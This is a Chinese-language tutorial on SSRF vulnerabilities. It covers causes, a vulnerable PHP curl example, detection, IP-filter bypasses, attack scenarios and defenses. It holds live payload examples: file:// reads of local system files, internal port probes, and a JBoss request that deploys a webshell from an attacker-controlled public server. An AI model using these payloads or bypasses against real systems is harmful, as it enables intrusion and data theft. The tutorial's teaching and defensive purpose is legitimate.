Web安全-SSRF漏洞

SSRF漏洞的简述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

SSRF 形成的原因:大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我构造好我的访问包,那我就有可能利用目标服务对他的其他服务器应用进行调用。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

入门引例

上面的话可能有点抽象,来举个实际例子。首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。显然,我们普通用户只可以访问A网站,不能访问B网站。但是我们可以同过A网站做中间人,访问B网站,从而达到攻击B网站需求。

正常用户访问网站的流程是:

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)并处理 -->返回用户响应

此处假设该网站有个请求是www.baidu,com/xxx.php?image=URL。那么产生SSRF漏洞的环节在哪里呢?

【漏洞成因】服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据。

例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果我们将 www.abd.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么效果呢?如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码。

【漏洞简析】SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

主要危害

攻击者利用SSRF可以实现的攻击主要有5种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务器的banner信息;
  2. 攻击运行在内网或本地的应用程序(比如溢出);
  3. 对内网web应用进行指纹识别,通过访问默认文件实现;
  4. 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
  5. 利用file协议读取本地文件等。

进阶实例

现在服务器上有一个ssrf.php的页面,该页面的功能是获取URL参数,然后将URL的内容显示到网页页面上。

#ssrf.php

function curl($url){
	$ch=curl_init();
	curl_setopt($ch,CURLOPT_URL,$url);
	curl_setopt($ch,CURLOPT_HEADER,0);
	curl_exec($ch);
	curl_close($ch);
}
$url=$_GET['url'];
curl($url);
?>
#程序获取url参数,通过curl_init()初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url),然后调用curl_exec请求该URL。由于服务器端会将banner信息返回给客户端,所以可根据banner判断主机是否存在某些服务。

我们访问该链接:http://127.0.0.1/ssrf.php?url=http://127.0.0.1/test.php,它会将test.php页面显示出来:
Web安全-SSRF漏洞_第1张图片
如果我们把url的参数换成 http://www.baidu.com ,页面则会返回百度的页面:
Web安全-SSRF漏洞_第2张图片
于是我们可以将URL参数换成内网的地址,则会泄露服务器内网的信息。将URL换成file://的形式,就可以读取本地文件。这和文件包含漏洞很类似! 如下,我们可以读取服务器host文件的信息:
Web安全-SSRF漏洞_第3张图片

SSRF漏洞的检测

从web功能上寻找

SSRF是由于服务器获取其他服务器的相关信息的功能中形成的。

  • 分享:通过URL地址分享网页内容
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译
  • 图片加载与下载:通过URL地址加载或下载图片
  • 图片、文章收藏功能
  • 未公开的API实现以及其他调用URL的功能

从URL关键字中寻找

在对功能上存在SSRF漏洞中URL地址特征的观察,通过一段时间的收集,大致有以下关键字:

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...

如果利用google语法加上这些关键字去寻找SSRF漏洞,耐心的验证,现在还是可以找到SSRF漏洞。

使用排除法进行检测

例如: http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

排除法一

你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。

排除法二

你可以使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是SSRF(前提设置burpsuite截断图片的请求,默认是放行的)。
Web安全-SSRF漏洞_第4张图片
此处说明下,为什么这边用排除法来判断是否存在SSRF,举个例子:http://read.*******.com/image?imageUrl=http://www.baidu.com/img/bd_logo1.png
Web安全-SSRF漏洞_第5张图片
现在大多数修复SSRF的方法基本都是区分内外网来做限制(暂不考虑利用此问题来发起请求,攻击其他网站,从而隐藏攻击者IP,防止此问题就要做请求的地址的白名单了),如果我们请求 :http://read.******.com/image?imageUrl=http://10.10.10.1/favicon.ico

而没有内容显示,我们是判断这个点不存在SSRF漏洞,还是http://10.10.10.1/favicon.ico这个地址被过滤了,还是http://10.10.10.1/favicon.ico这个地址的图片文件不存在,如果我们事先不知道http://10.10.10.1/favicon.ico这个地址的文件是否存在的时候是判断不出来是哪个原因的,所以我们采用排除法。

SSRF绕过IP限制

1、更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如 192.168.0.1 这个IP地址我们可以改写成:

(1) 8进制格式:0300.0250.0.1
(2) 16进制格式:0xC0.0xA8.0.1
(3) 10进制整数格式:3232235521
(4) 16进制整数格式:0xC0A80001

2、利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

SSRF的攻击场景

具体的攻击实例可以参见博文:SSRF攻击实例解析

1、大多数社交网站都提供了通过用户指定的url上传图片的功能

如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URL,比如:

  • http://example.com:8080/dir/images/
  • http://example.com:22/dir/public/image.jpg
  • http://example.com:3306/dir/images/

然后根据服务器的返回信息来判断端口是否开放。

2、攻击应用程序

内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。比如,探测到8987端口开放,则可以请求http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA来尝试溢出。

3、内网web应用指纹识别

识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。

比如可以通过访问下列文件来判断phpMyAdmin是否安装。

  • http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
  • http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
  • http://127.0.0.1:8082/profiles/minimal/translations/README.txt

以一个来自wooyun的百度案例,在百度识图中,输入http://10.50.33.43:8080/manager/images/tomcat.gif,可以识别出服务器使用了tomcat。

4、攻击内网web应用

仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。只需要将网马放在公网服务器上,然后发送这个请求即可:

&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

5、读取本地文件

上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:file:///C:/Windows/win.ini

SSRF的防御手段

通常有以下5个思路:

  1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
  3. 限制请求的端口为http常用的端口,比如,80,443,8080.8090
  4. 黑名单内网ip。避免应用被用来获取内网数据,攻击内网。
  5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题。

你可能感兴趣的:(Web安全)